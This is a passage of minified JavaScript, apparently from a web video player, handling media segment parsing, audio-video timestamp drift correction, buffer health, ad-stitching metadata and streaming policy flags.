push:t.info.Hk()});else throw new g.CS("slice_not_fully_processed",x.C.info.Hk(),t.info.Hk());mC(x);x.QU=u}else{if(x.QU&&u&&x.QU!==u)throw x=new g.CS("lmt_mismatch",t.info.Mj,x.QU,u),x.level="WARNING",x;!t.info.C.Jy()&&x.K&&(u=t.info,H=x.K.QL,u.T="updateWithEmsg",u.Mj=H)}if(x.C){u=g.x8(x.C,t);if(!u)throw new g.CS("failed_to_merge",x.C.info.Hk(),t.info.Hk());x.C=u}else x.C=t;a:{t=g.Kj(x.C.info.C.info);if(x.C.info.type!==3){if(!x.C.info.K)break a;x.C.info.type===6?tPm(x,T,x.C):s$q(x,x.C);x.C=null}for(;x.C;){u=
x.C.C.getLength();if(x.uG<=0&&x.S===0){var I=x.C.C,E=-1;H=-1;if(t){for(var Z=0;Z+8<I.getLength();){var e=Frv(I,Z),l=Frv(I,Z+4);Z+=e||1;if(l===1836019558)E=Z;else if(l===1835295092){H=Z;break}}H<0&&(E=-1)}else{I=new qI(I);for(e=Z=!1;;){l=I.gP();var m=Kg3(I),d=m.id;m=m.size;if(!(d>0))break;if(d!==408125543)if(d===524531317)Z=!0,m>=0&&(H=I.gP()+m,e=!0);else{if(Z&&(d===160||d===163)&&(E<0&&(E=l),e))break;d===163&&(E=Math.max(0,E),H=I.gP()+m);if(d===160){E<0&&(H=E=I.gP()+m);break}I.skip(m)}}E<0&&(H=-1)}if(E<
0)break;x.uG=E;x.S=H-E}if(x.uG>u)break;x.uG?(u=uTf(x,x.uG),u.T&&$Kq(x,u),tPm(x,T,u),dC(x,u),x.uG=0):x.S&&(u=uTf(x,x.S<0?Infinity:x.S),x.S-=u.C.getLength(),dC(x,u))}}x.C&&x.C.info.K&&(dC(x,x.C),x.C=null)};
s$q=function(x,T){!T.info.C.Jy()&&T.info.Z===0&&(g.Kj(T.info.C.info)||T.info.C.info.LF())&&PKq(T);if(T.info.type===1)try{$Kq(x,T),iYX(x,T)}catch(H){g.vW(H);var t=ae(T.info);t.hms="1";x.Kf.handleError("fmt.unparseable",t||{},1)}t=T.info.C;t.N6(T);x.N&&DH4(x.N,T);if(t.fC()&&x.policy.C)a:{x=x.Kf.gy;T=T.info.clipId;t=g.xj(t.info,x.B9);if(T){var u=gjC(x,t);if(x.nf[u])break a;x.nf[u]=T}x.hQ.push(t)}};
LH5=function(x,T,t){if(x.Z.length!==0&&(t||x.Z.some(function(I){return I.info.Gy<T}))){t=0;
for(var u=g.S(x.Z),H=u.next();!H.done;H=u.next()){H=H.value;if(H.info.Gy<T)break;x.Kf.kc("cmat",{max:T,s:H.info.Hk()});t+=1}x.Z.splice(0,t)}};
eN=function(x){var T;(T=x.N)==null||T.dispose();x.N=null};
IXC=function(x){var T=x.Z.reduce(function(t,u){return t+u.C.getLength()},0);
x.C&&(T+=x.C.C.getLength());return T};
E8i=function(x){if(x.jY&&!x.policy.o5){var T=x.Kf;T.gy.isManifestless&&Y8(T.gy,x.jY.Mj,!!x.D.info.video)}x.jY=null;x.K=null;x.T=x.SY;x.j=x.T?x.j-x.ZZ:NaN;mC(x)};
uTf=function(x,T){var t=x.C;T=Math.min(T,t.C.getLength());if(T===t.C.getLength())return x.C=null,t;t=lD3(t,T);x.C=t[1];return t[0]};
$Kq=function(x,T){T.C.getLength();var t=T.IW();if(QV(T.info.C.info)&&T.info.C.info.video.primaries==="bt2020"){var u=new oe(t);sU(u,[408125543,374648427,174,224,21936,21937])&&(u=u.start+u.pos,t.getUint8(u)===129&&t.getUint8(u+1)===1&&t.setUint8(u+1,9))}u=T.info.C.info;Cj(u)&&!QV(u)&&(u=T.IW(),(new oe(u)).Kt(),iz([408125543,374648427,174,224],21936,u));T.info.C.info.Zo()&&(u=T.info.C,u.info&&u.info.video&&u.info.video.projectionType==="MESH"&&!u.Z&&(g.Kj(u.info)?u.Z=cE5(t):u.info.LF()&&(u.Z=Fci(t))));
T.info.C.info.LF()&&T.info.Zo()&&(t=T.IW(),(new oe(t)).Kt(),iz([408125543,374648427,174,224],30320,t)&&iz([408125543,374648427,174,224],21432,t));if(x.policy.D2&&T.info.C.info.LF()){t=T.IW();var H=new oe(t);if(sU(H,[408125543,374648427,174,29637])){u=HH(H,!0);H=H.start+H.pos;for(var I=0;I<u-1;I++)t.setUint8(H+I,0);t.setUint8(H+u-1,1)}}if(x.iD()&&g.Kj(T.info.C.info)){u=T.IW();t=g.C3(u,0,1701606260);I=g.C3(u,0,1836476516);if(t&&I){t.skip(2);var E=Gg(t),Z=n3(t);u=[];H=[];var e=[],l=[];if(E)for(E=0;E<
Z;++E)u.push(ar(t)),H.push(ar(t)),e.push(Gg(t)),l.push(Gg(t));else for(E=0;E<Z;++E)u.push(L3(t)),H.push(L3(t)),e.push(Gg(t)),l.push(Gg(t));t=g.Qm(I);t=new Ro3(H[0]/t,u[0]/t)}else t=null;if(t){if(g.Kj(T.info.C.info))for(u=T.IW(),H=g.C3(u,0,1701082227);H;)I=H,I.type=1936419184,I.data.setUint32(I.offset+4,1936419184),H=g.C3(u,H.offset+H.size,1701082227);x.Ee=!0;T.info.C.K=t}}T.info.C.Jy()||T.info.C.C||T.info.C.indexRange||s4(T)};
tPm=function(x,T,t){if(t.info.C.Jy()){if(x.Ee&&q45(t)&&(T=t.IW(),T=g.C3(T,0,1953658222))){T.skip(1);var u=Vm(T)<<16|Gg(T),H=u&1,I=u&4;if(u&256){var E=u&512,Z=u&1024;u&=2048;var e=n3(T);e<2||(H&&T.skip(4),I&&T.skip(4),H=n3(T),T.skip((e-1)*(4+(E?4:0)+(Z?4:0)+(u?4:0))-4),T.data.setUint32(T.offset+T.C,H))}}if(T=x.Hv&&!!x.Hv.D.K)if(T=t.info.Zo())T=A0J(t),E=x.Hv,MI?(Z=1/T,T=AJ(x,T)>=AJ(E)+Z):T=x.getDuration()>=E.getDuration(),T=!T;T&&q45(t)&&(T=x.Hv,MI?(Z=A0J(t),E=1/Z,Z=AJ(x,Z),T=AJ(T)+E-Z):T=T.getDuration()-
x.getDuration(),T=1+T/t.info.duration,Sqv(t.IW(),T))}else{E=!1;x.K||(PKq(t),t.Z&&(x.K=t.Z,E=!0,I=t.info,u=t.Z.QL,I.T="updateWithEmsg",I.Mj=u,I=t.Z,I.FQ&&(u=x.D.index,u.Z=!I.FQ,u.j="emsg"),I=t.info.C.info,u=t.IW(),g.Kj(I)?xd(u,1701671783):I.LF()&&iz([408125543],307544935,u)));a:if((I=ty(t,x.policy.L2))&&Rwf(t))Z=ZYV(x,t),x.J+=Z,I-=Z,x.ZZ+=I,x.j=x.policy.ZV?x.j+I:NaN;else{if(x.policy.lH){if(u=e=x.Kf.KT(g.TW(t),1),x.j>=0&&t.info.type!==6){if(x.policy.ZV&&isNaN(x.AQ)){g.Vh(new g.CS("Missing duration while processing previous chunk",
t.info.Hk()));x.Kf.isOffline()&&!x.policy.ZG||j$3(x,t,u);lU(x,"m");break a}var l=e-x.j,m=l-x.J,d=t.info.Mj,M=x.hQ?x.hQ.Mj:-1,A=x.tQ,R=x.AQ,Y=x.policy.aM&&l>x.policy.aM,b=Math.abs(m)>10,z=Math.abs(x.j-u)<1E-7;if(Math.abs(m)>1E-4){x.nf+=1;var F=(H=x.K)==null?void 0:NF(H);H={audio:""+ +x.iD(),sq:d.toFixed(),sliceStart:e,lastSq:M.toFixed(),lastSliceStart:A,lastSliceDuration:R,totalDrift:(l*1E3).toFixed(),segDrift:(m*1E3).toFixed(),skipRewrite:""+ +(Y||b)};if(F==null?0:F.length)H.adCpn=F[0];x.Kf.handleError("qoe.avsync",
H);x.mu=d}Y||b||z||(u=x.j);H=ZYV(x,t,e);I-=H;x.J=l+H;x.policy.j&&(m&&!z||H)&&(l=(Z=x.K)==null?void 0:NF(Z),x.Kf.kc("discontinuityRewrite",{adCpn:(l==null?0:l.length)?l.join("."):"",itag:t.info.C.info.itag,sq:t.info.Mj,originalStartTime:e,rewrittenStartTime:u,startTimeAdjustment:u-e,segDrift:(m*1E3).toFixed(),originalDuration:I+H,rewrittenDuration:I,durationAdjustment:H}))}}else u=isNaN(x.j)?t.info.startTime:x.j;j$3(x,t,u)&&(x.ZZ+=I,x.j=u+I,x.policy.tj&&x.nf>=x.policy.tj&&(x.nf=0,x.Kf.h8({resetForRewrites:"count"})))}x.hQ=
t.info;x.AQ=o$(t);t.j>=0&&(x.tQ=t.j);if(E&&x.K){E=e0V(x,!0);gD(t.info,E);x.C&&gD(x.C.info,E);T=g.S(T);for(Z=T.next();!Z.done;Z=T.next())Z=Z.value,H=void 0,x.policy.D&&Z.Mj!==((H=x.K)==null?void 0:H.QL)||gD(Z,E);(t.info.K||x.C&&x.C.info.K)&&t.info.type!==6||(x.jY=E,x.policy.tQ?(T=lX5(x.K),x.Kf.KD(x.D,E,T)):(T=x.Kf,T.gy.isManifestless&&mKv(T,E,null,!!x.D.info.video)),x.policy.Xt||dKi(x))}}iYX(x,t);x.timestampOffset&&dG4(t,x.timestampOffset)};
dC=function(x,T){if(T.info.K){x.SY=T.info;if(x.K){var t=x.K,u=e0V(x,!1);t=lX5(t);x.Kf.KD(x.D,u,t);x.jY||x.policy.Xt||dKi(x);x.jY=null}mC(x)}x.N&&DH4(x.N,T);if(u=x.QT())if(u=g.x8(u,T,x.policy.XT)){x.Z.pop();x.Z.push(u);return}x.Z.push(T)};
lX5=function(x){if(x.xT()){var T=x.data["Stitched-Video-Id"]?x.data["Stitched-Video-Id"].split(",").slice(0,-1):[],t=NF(x),u=[];if(x.data["Stitched-Video-Duration-Us"])for(var H=g.S(x.data["Stitched-Video-Duration-Us"].split(",").slice(0,-1)),I=H.next();!I.done;I=H.next())u.push((Number(I.value)||0)/1E6);H=[];if(x.data["Stitched-Video-Start-Frame-Index"]){I=g.S(x.data["Stitched-Video-Start-Frame-Index"].split(",").slice(0,-1));for(var E=I.next();!E.done;E=I.next())H.push(Number(E.value)||0)}H=[];
if(x.data["Stitched-Video-Start-Time-Within-Ad-Us"])for(I=g.S(x.data["Stitched-Video-Start-Time-Within-Ad-Us"].split(",").slice(0,-1)),E=I.next();!E.done;E=I.next())H.push((Number(E.value)||0)/1E6);x=new CzX(T,t,u,H,g.Mff(x),g.AEf(x))}else x=null;return x};
mC=function(x){x.C=null;x.uG=-1;x.S=0;x.K=null;x.Om=NaN;x.ZZ=0;x.jY=null};
lU=function(x,T){T={rst4disc:T,cd:x.J.toFixed(3),sq:x.hQ?x.hQ.Mj:-1};x.j=NaN;x.J=0;x.mu=-1;x.hQ=null;x.tQ=NaN;x.AQ=NaN;x.G9=null;x.Kf.kc("mdstm",T)};
iYX=function(x,T){if(x.D.info.wb){if(T.info.C.info.LF()){var t=new oe(T.IW());if(sU(t,[408125543,374648427,174,28032,25152,20533,18402])){var u=HH(t,!0);t=u!==16?null:ZN(t,u)}else t=null;u="webm"}else T.info.N=ND3(T.IW()),t=J7f(T.info.N),u="cenc";t&&t.length&&(t=new Id(t,u),x.policy.OA&&g.Kj(T.info.C.info)&&(u=zom(T.IW()))&&(t.Z=u),t.LF=T.info.C.info.LF(),T.Z&&T.Z.cryptoPeriodIndex&&(t.cryptoPeriodIndex=T.Z.cryptoPeriodIndex),T.Z&&T.Z.Z&&(t.C=T.Z.Z),x.Kf.Xn(t))}};
dKi=function(x){var T=x.K,t=muV(T);t&&(t.startSecs+=x.Om,x.Kf.Y9(x.D,t,T.QL,T.xT()))};
e0V=function(x,T){var t,u=x.K;if(t=muV(u))t.startSecs+=x.Om;return new Fh(u.QL,x.Om,T?u.XR:x.ZZ,u.ingestionTime,"sq/"+u.QL,void 0,void 0,T,t)};
j$3=function(x,T,t){if(!mGX(T,t))return T=ae(T.info),T.smst="1",x.Kf.handleError("fmt.unparseable",T||{},1),!1;isNaN(x.Om)&&(x.Om=t);return!0};
ZYV=function(x,T,t){var u=0;if(T.info.C.info.LF()&&!Rwf(T))return 0;if(x.Hv&&!x.iD()){var H=0;t&&g.Kj(T.info.C.info)?H=t-x.j:T.info.C.info.LF()&&(H=x.J);var I=T.info.Mj;t=ty(T,x.policy.L2);var E=x.Hv;var Z=E.mu;E=E.J;var e=Math.abs(E-H)>.02;if((I===Z||I>Z&&I>x.mu)&&e){u=Math.max(.95,Math.min(1.05,(t-(E-H))/t));if(g.Kj(T.info.C.info))Sqv(T.IW(),u);else if(T.info.C.info.LF()&&(I=H-E,!g.Kj(T.info.C.info)&&(T.info.C.info.LF(),u=new oe(T.IW()),Z=T.T?u:new oe(new DataView(T.info.C.C.buffer)),ty(T,!0)))){var l=
I*1E3,m=eX(Z);Z=u.pos;u.pos=0;if(u.C.getUint8(u.pos)===160||lz(u))if($d(u,160))if(HH(u,!0),$d(u,155)){if(I=u.pos,e=HH(u,!0),u.pos=I,l=l*1E9/m,m=Ie(u),l=m+Math.max(-m*.7,Math.min(m,l)),l=Math.sign(l)*Math.floor(Math.abs(l)),!(Math.ceil(Math.log(l)/Math.log(2)/8)>e)){u.pos=I+1;for(I=e-1;I>=0;I--)u.C.setUint8(u.pos+I,l&255),l>>>=8;u.pos=Z}}else u.pos=Z;else u.pos=Z;else u.pos=Z}u=ty(T,x.policy.L2);u=t-u}u&&T.info.C.info.LF()&&x.Kf.kc("webmDurationAdjustment",{durationAdjustment:u,videoDrift:H+u,audioDrift:E})}return u};
q45=function(x){return x.info.C.Jy()&&x.info.Mj===x.info.C.index.mR()};
AJ=function(x,T){T=(T=T===void 0?0:T)?Math.round(x.timestampOffset*T)/T:x.timestampOffset;x.D.K&&T&&(T+=x.D.K.C);return T+x.getDuration()};
MPH=function(x,T){T<0||(x.Z.forEach(function(t){dG4(t,T)}),x.timestampOffset=T)};
Lh=function(x,T,t,u,H){Xm.call(this,t,H);var I=this;this.policy=x;this.formatId=T;this.KC=u;this.lastError=null;this.Yg=function(){I.T9()||(I.KC.YP.has(I.formatId)?(I.isComplete()||I.C.start(),zp(I.KC,I.formatId)&&I.eE(2),I.KC.oT(I.formatId)&&(JvX(I.KC,I.formatId)?I.vk(4):(I.lastError="net.closed",I.vk(5)))):(I.lastError="player.exception",I.vk(5)))};
this.C=new g.wX(function(){I.isComplete()||(I.lastError="net.timeout",I.vk(5))},this.policy.x7);
this.C.start();DF3(this.KC,this.formatId,this.Yg);g.IZ(this.Yg)};
Rd=function(x,T,t,u){g.W.call(this);var H=this;this.Kf=x;this.policy=T;this.C=t;this.timing=u;this.logger=new g.t$("dash");this.j=[];this.Hv=[];this.Z=this.qJ=null;this.nf=!1;this.G9=this.AQ=0;this.D=-1;this.uG=!1;this.hQ=-1;this.Om=this.QU=null;this.jY=NaN;this.ZZ=[];this.yF={zb:function(){return H.K},
sCW:function(){return H.j},
jCW:function(){return H.J}};
this.K=new xKC(x,T,t);this.policy.C&&(this.J=new hU(this.K,this.Kf.getManifest(),this.policy,function(I){H.policy.M4&&H.kc("buftl",I)}));
this.policy.Cz&&(this.S=new xo(this));this.Zp=t.info.Zp;this.N=this.policy.jY?!1:t.zH();this.isManifestless=t.zH();this.T=this.N;g.y(this,this.QU)};
Po=function(x,T,t){t=t===void 0?!1:t;T&&MI&&MPH(x.K,T.M6());if(!t){var u;(u=x.J)==null||hqD(u)}x.qJ=T;(T=x.J)!=null&&(T.qJ=x.qJ)};
SN=function(x){var T=x.qJ&&x.qJ.pW();if(x.policy.YO){if((x=x.J)==null)x=void 0;else{var t;x=(t=x.j)==null?void 0:t.info}return x||null}return T};
AyX=function(x){for(var T={},t=0;t<x.Hv.length;t++)T["r"+t]=x.Hv[t];return T};
co=function(x,T){isNaN(x.jY)||x.kc("aswr",{sq:T.info.iG[0].Mj,id:T.info.iG[0].C.info.itag,xtag:T.info.iG[0].C.info.C,ep:Date.now()-x.jY});x.j.push(T);x.Z=g.Q3(T.info.iG);x.Hv.push(T.Hk());x.Hv.length>4&&x.Hv.shift()};
R0f=function(x,T){if(T.kK()){var t=T.Ca();t=g.S(t);for(var u=t.next();!u.done;u=t.next())u=u.value,x.policy.j&&T instanceof Lh&&x.kc("omblss",{s:u.info.Hk()}),Yo(x,T.info.iG,u,T.DK())}};
Yo=function(x,T,t,u){u=u===void 0?0:u;isNaN(x.jY)||(x.kc("aswm",{sq:T[0].Mj,id:T[0].C.info.itag,xtag:T[0].C.info.C,ep:Date.now()-x.jY}),x.jY=NaN);switch(t.info.type){case 1:case 2:PQ5(x,t);break;case 4:var H=t.info.C,I=H.Vt(t),E;((E=x.Z)==null?0:E.type===4)&&XU3(t.info,x.Z)&&(x.Z=H.DW(x.Z).pop());t=g.S(I);for(H=t.next();!H.done;H=t.next())Yo(x,T,H.value,u);break;case 3:t.info.C.info.video?(H=x.timing,H.Hv||(H.Hv=(0,g.bo)(),zj("fvb_r",H.Hv,H.C))):(H=x.timing,H.D||(H.D=(0,g.bo)(),zj("fab_r",H.D,H.C)));
HY3(x.K,T,t,u);x.policy.C&&S4V(x);break;case 6:HY3(x.K,T,t,u),x.Z=t.info}};
PQ5=function(x,T){if(T.info.type===1)if(T.info.C.info.video){var t=x.timing;t.hQ||(t.hQ=(0,g.bo)(),zj("vis_r",t.hQ,t.C))}else t=x.timing,t.J||(t.J=(0,g.bo)(),zj("ais_r",t.J,t.C));s$q(x.K,T);x=x.Kf;x.videoTrack.C.fC()&&x.audioTrack.C.fC()&&x.policy.C&&!x.gy.B9&&(T=x.audioTrack.getDuration(),t=x.videoTrack.getDuration(),Math.abs(T-t)>1&&x.kc("trBug",{af:""+g.xj(x.audioTrack.C.info,!1),vf:""+g.xj(x.videoTrack.C.info,!1),a:""+T,v:""+t}))};
JU=function(x){return TVD(x.K)};
S4V=function(x){x.j.length?x.Z=g.Q3(g.Q3(x.j).info.iG):x.K.Z.length?x.Z=x.K.QT().info:x.Z=SN(x)};
Uf=function(x,T){var t={v9:[],eb:[]},u;if((x=x.J)==null)x=void 0;else{FHH(x,x.v9,"og");rXV(x,T);FHH(x,x.v9,"trim");var H=k4q(x);T=H.v9;H=H.C7;for(var I=[],E=0;E<H.length;E++){var Z=H[E],e=x.policy.mu&&Z.j!==-1?Z.j:Z.info.startTime,l={startTicks:(e+x.timestampOffset)*1E3,zf:(x.policy.mu&&Z.K!==-1?Z.K:Z.info.duration)*1E3,timescale:1E3},m=void 0,d=(m=x.qJ)==null?void 0:m.ma();m=void 0;if(x.policy.pX&&d&&d.length>0){var M=IE(d,e);M>=0&&(m=(d.end(M)-e+.1)*1E3)}I.push({formatId:g.xj(Z.info.C.info,x.gy.B9),
a4:Z.info.a4,sequenceNumber:Z.info.Mj+x.K,pS:l,HN:Z.info.j,uP:m})}x={v9:T,eb:I}}return(u=x)!=null?u:t};
gS=function(x,T,t){t=t===void 0?!1:t;if(x.qJ){var u=x.qJ.ma(),H=qG(u,T),I=NaN,E=SN(x);E&&(I=qG(u,E.C.index.getStartTime(E.Mj)));if(H===I&&x.Z&&x.Z.j&&cyX(bU(x),0))return T}x=Y4V(x,T,t);return x>=0?x:NaN};
Ww=function(x,T,t){x.C.fC();var u=Y4V(x,T);if(u>=0)return u;var H;(H=x.J)==null||zqH(H,T,t);t=Math;u=t.min;H=x.K;if(H.N)if(H=H.N,H.jx&&H.jx.type===3)H=H.jx.startTime;else if(H.j>0){var I=H.C.index;I=g.ig(I.offsets.subarray(0,I.count),H.j*H.chunkSize);H=H.C.index.getStartTime(I>=0?I:Math.max(0,-I-2))}else H=0;else H=Infinity;T=u.call(t,T,H);if(x.policy.Z){var E,Z;t=(E=x.Kf.vS())==null?void 0:(Z=VW(E,T))==null?void 0:Z.clipId;x.Z=x.C.U_(T,void 0,t).iG[0]}else x.Z=x.policy.jY?null:x.C.U_(T).iG[0];rC(x)&&
(x.qJ&&x.qJ.abort(),x.policy.fu&&(E=x.J)!=null&&(E.j=void 0));x.G9=0;return x.Z?x.Z.startTime:T};
Vv4=function(x){x.N=!0;x.T=!0;x.D=-1;Ww(x,Infinity)};
zb=function(x){for(var T=0,t=g.S(x.j),u=t.next();!u.done;u=t.next())T+=Tof(u.value.info);return T+=IXC(x.K)};
F_=function(x,T){T=T===void 0?!1:T;var t=x.Kf.getCurrentTime(),u=x.K.QT(),H=(u==null?void 0:u.info.BS)||0;x.policy.Sd&&(u==null?0:u.info.C.zH())&&!u.info.K&&(H=u.info.Gy);if(x.policy.Z&&u&&u.info.clipId){var I,E=(((I=x.Kf.vS())==null?void 0:vw(I,u.info.clipId))||0)/1E3;H+=E}if(!x.qJ)return x.policy.C&&T&&!isNaN(t)&&u?H-t:0;if((I=SN(x))&&ko(x,I))return I.BS;E=x.qJ.ma(!0);if(T&&u)return I=0,x.policy.C&&(I=jc(E,H+.02)),I+H-t;H=jc(E,t);x.policy.SK&&I&&(T=IE(E,t),E=IE(E,I.Gy-.02),T===E&&(t=I.BS-t,x.policy.j&&
t>H+.02&&x.kc("abh",{bh:H,bhtls:t}),H=Math.max(H,t)));return H};
UK3=function(x){var T=SN(x);return T?T.BS-x.Kf.getCurrentTime():0};
bY5=function(x,T){if(x.j.length){if(x.j[0].info.iG[0].startTime<=T)return;al(x)}for(var t=x.K,u=t.Z.length-1;u>=0;u--)t.Z[u].info.startTime>T&&t.Z.pop();S4V(x);x.Z&&T<x.Z.startTime&&(x.G9=0,x.C.fC()?x.Z=x.C.U_(T,!0).iG[0]:x.Z=null)};
hJ=function(x,T,t,u){if(!x.C.index.wP(T,!0))return!1;try{al(x);for(var H=x.K,I=null,E=H.Z.length-1;E>=0;E--){var Z=H.Z[E];Z.info.Mj>=T&&(H.Z.pop(),H.j-=ty(Z,H.policy.L2),I=Z.info)}I&&(H.T=H.Z.length>0?H.Z[H.Z.length-1].info:H.G9,H.Z.length!==0||H.T||lU(H,"r"));H.Kf.kc("mdstm",{rollbk:1,itag:I?I.C.info.itag:"",popped:I?I.Mj:-1,sq:T,lastslc:H.T?H.T.Mj:-1,lastfraget:H.j.toFixed(3)});if(x.policy.C)return x.Z=null,!0;u>t?Ww(x,u):x.Z=x.C.c7(T-1,!1).iG[0]}catch(e){return T=kX(e),T.details.reason="rollbkerr",
x.Kf.handleError(T.errorCode,T.details,T.severity),!1}return!0};
VB=function(x,T){var t;for(t=0;t<x.j.length&&T!==x.j[t];t++);if(t===x.j.length)vo(x,T);else{for(;t<x.j.length;)vo(x,x.j.pop());var u=aw(x);u&&u.C.Re()&&h2(T.info.iG,function(H){return xGJ(H,u)})?(x.Z=u,x.policy.j&&x.kc("cer",{lsr:"lsp",
lsp:u.Hk()})):(Gr(T.info.iG[0])?(x.Z=T.IH&&T.IH.j?wUv(T.IH.j):f6D(T.info.iG[0]),x.policy.j&&x.kc("cer",{lsr:x.Z.Hk(),lsp:u==null?void 0:u.Hk()})):(x.Z=null,x.policy.j&&x.kc("cer",{lsr:"null",lsp:u==null?void 0:u.Hk()})),x.Kf.isOffline()&&!x.policy.ZG||vo(x,T,!0))}};
ko=function(x,T){if(!T)return!1;if(x.policy.Z){var t;if((x=(t=x.Kf.vS())==null?void 0:Gb(t))&&T.clipId!==x)return!1}return T.FQ()};
rC=function(x){var T;!(T=x.C.info.Wv==="f")&&(T=x.policy.K)&&(T=x.K,T=!!T.N&&tJ(T.N));if(T)return!0;T=SN(x);if(!T)return!1;var t=ko(x,T)&&T.K;return x.isManifestless&&x.hQ>0?t||T.Mj>=x.hQ:t};
L9=function(x){var T;return rC(x)||ko(x,(T=x.K.QT())==null?void 0:T.info)};
bU=function(x){var T=[],t=SN(x);t&&T.push(t);T=g.Tq(T,x.K.gs());t=g.S(x.j);for(var u=t.next();!u.done;u=t.next()){u=u.value;for(var H=g.S(u.info.iG),I=H.next(),E={};!I.done;E={iT:void 0},I=H.next())E.iT=I.value,u.m5&&(T=g.ES(T,function(Z){return function(e){return!XU3(e,Z.iT)}}(E))),(Gr(E.iT)||E.iT.type===4)&&T.push(E.iT)}x.Z&&!N4D(x.Z,g.Q3(T),x.Z.C.Jy())&&T.push(x.Z);
return T};
cyX=function(x,T){if(!x.length)return!1;for(T+=1;T<x.length;T++)if(!JEi(x[T-1],x[T]))return!1;return!0};
Y4V=function(x,T,t){t=t===void 0?!1:t;if(!x.Z||!x.Z.j)return NaN;x=bU(x);a:{T+=.02;var u=t;u=u===void 0?!1:u;for(var H=-1,I=0;I<x.length;++I){var E=x[I];if(E.Gy<=T)if(u)H=I;else if(E.startTime+E.duration>=T){T=I;break a}}T=H}return T<0?NaN:cyX(x,t?T:0)?x[T].startTime:NaN};
n9=function(x){return!(!x.Z||x.Z.C===x.C)};
ryV=function(x){return n9(x)&&x.C.fC()&&x.Z.C.info.Zp<x.C.info.Zp};
z0f=function(x,T,t){if(x.policy.Sd)return F_(x,!0)<t;var u=aw(x);return u&&!ko(x,u)?u.BS>T&&u.BS<T+t:!1};
aw=function(x){var T=x.K.QT();return T?T.info:SN(x)};
eUm=function(x,T){var t;return!((t=x.J)==null||!t.T.has(T))||o83(x.K,T)};
al=function(x){for(var T=g.S(x.j),t=T.next();!t.done;t=T.next())vo(x,t.value);x.j=[];x.Z=null};
ad=function(x){var T;(T=x.J)==null||hqD(T);x.policy.Zk&&(x.ZZ=[])};
kWC=function(x,T,t){T.m5&&((t===void 0?0:t)||!T.info.iG[0].C.Re())&&(x.logger.debug(function(){return"Rolling back request with segNum "+T.info.iG[0].Mj}),E8i(x.K))};
vo=function(x,T,t){kWC(x,T,t===void 0?!1:t);T.dispose()};
FjJ=function(x){return!!x.Z&&x.Z.Mj!==-1&&x.Z.Mj<x.C.index.SU()};
h0X=function(x){var T=x.Z;T&&T.Mj===-1&&(x=x.K.QT())&&Gr(x.info)&&(x=x.info.Mj,T.T="updateLastSliceRequested",T.Mj=x)};
v8X=function(x){return h2(x.j,function(T){return T.d5})};
VPm=function(x,T){x.Z&&(x.Z.C=T)};
gC=function(x,T){return x.qJ?Ec(x.qJ.ma(),T):!0};
Bo=function(x){var T=JU(x);x=x.Kf.vS();return T&&x&&T.info.clipId&&!GWi(x,T.info.clipId)?!0:!1};
Wo=function(x){var T;return!((T=JU(x))==null||!T.isLocked)};
Ljm=function(x,T){var t=JU(x);return t&&t.info.type!==6?!lN3(T,x,t.info.Mj):!1};
n8q=function(x){var T=SN(x),t,u=(t=x.qJ)==null?void 0:t.ma();t=NaN;T&&u&&rC(x)&&(t=qG(u,(T.Gy+T.BS)/2));return!isNaN(t)};
aXV=function(x){if((x=x.J)==null)x=void 0;else if(x.v9.length===0||x.policy.yS&&x.C<0)x=null;else{var T=x.v9[x.C]?x.v9[x.C].formatId:null;x=T?(x=x.gy.j.get(bz(T)))?x.info:null:null}return x||null};
g8m=function(x,T){x=g.S(x.ZZ);for(var t=x.next();!t.done;t=x.next())if(t=t.value,t.QL===T)return t.Pfc?2:1;return 0};
BVm=function(){this.Ok=!1};
WjX=function(x){var T=x===void 0?{}:x;x=T.hasSubfragmentedFmp4===void 0?!1:T.hasSubfragmentedFmp4;T=T.P5===void 0?!1:T.P5;var t=new BVm;t.Ok=x||T;return t};
g.DKJ=function(x){this.Pv=x;this.J=new BVm;this.U6=this.Pl=!1;this.WV=2;this.nf=20971520;this.Lz=8388608;this.uG=120;this.G$=this.TP=this.m_=2;this.Pm=this.U9=!1;this.eH=1E3;this.Ym=15;this.tI=1;this.S=1.15;this.ZZ=1.05;this.vB=1;this.vD=this.dN=!1;this.EU=6;this.j=!1;this.Aj=100;this.Bf=10;this.oA=6;this.vE=!1;this.Rc=1;this.HD=this.mY=!1;this.CB=2;this.lH=this.FR=!1;this.tM=!0;this.zc=this.hM=this.yw=this.Ee=this.VI=!1;this.s$=!0;this.S$=!1;this.K="";this.Ap=[];this.SH=this.I5=this.Cz=!1;this.TC=
0;this.cS="";this.Fe=this.xQ=this.IE=this.M4=this.Px=this.EL=this.D=this.ea=this.e7=this.Yn=this.C=this.JJ=this.SY=this.Hv=this.fu=this.YO=this.QU=this.Z=this.Xt=!1;this.F3=!0;this.O6=this.Sd=this.Xe=this.un=this.T=this.mu=!1;this.AQ=!0;this.Nz=this.nX=this.TG=this.qz=this.FD=this.VQ=this.D8=this.pX=this.Jj=this.ra=this.xB=this.jY=this.EG=this.tQ=this.GC=this.Om=!1;this.wf=this.Pv.B("html5_trigger_fallback_count_from_probe");this.d$=g.Z9(this.Pv.experiments,"html5_min_readbehind_secs");this.EA=g.Z9(this.Pv.experiments,
"html5_min_readbehind_cap_secs");this.ZG=this.Pv.B("html5_offline_reset_media_stream_on_unresumable_slices");this.Zp=NaN;this.k$=Dv(this,"html5_request_size_min_kb",64)*1024;this.G9=2097152;this.Jw=Dv(this,"html5_bypass_contention_secs");this.NW=1048576;this.pF=Dv(this,"html5_repredict_interval_ms",1800);this.md=Dv(this,"html5_head_miss_secs",5);this.KJ=Dv(this,"html5_min_upgrade_health_secs",10);this.ZH=Dv(this,"html5_min_seconds_between_format_selections",8);this.Ya=Dv(this,"html5_max_buffer_health_for_downgrade_secs",
15);this.AJ=KY;this.kX=g.Z9(this.Pv.experiments,"html5_min_startup_buffered_media_duration_secs");this.Hl=g.Z9(this.Pv.experiments,"html5_post_interrupt_readahead");this.TN=this.Pv.B("html5_allow_onesie_for_ssap");this.jG=this.Pv.B("html5_disable_classic_alr");this.y6=g.Z9(this.Pv.experiments,"html5_probe_primary_delay_base_ms")||5E3;this.ya=Dv(this,"html5_ssdai_failure_retry_limit",3);this.ir=this.Pv.experiments.aU("html5_clone_original_for_fallback_location");this.C4=g.Z9(this.Pv.experiments,"html5_subsegment_readahead_target_buffer_health_secs");
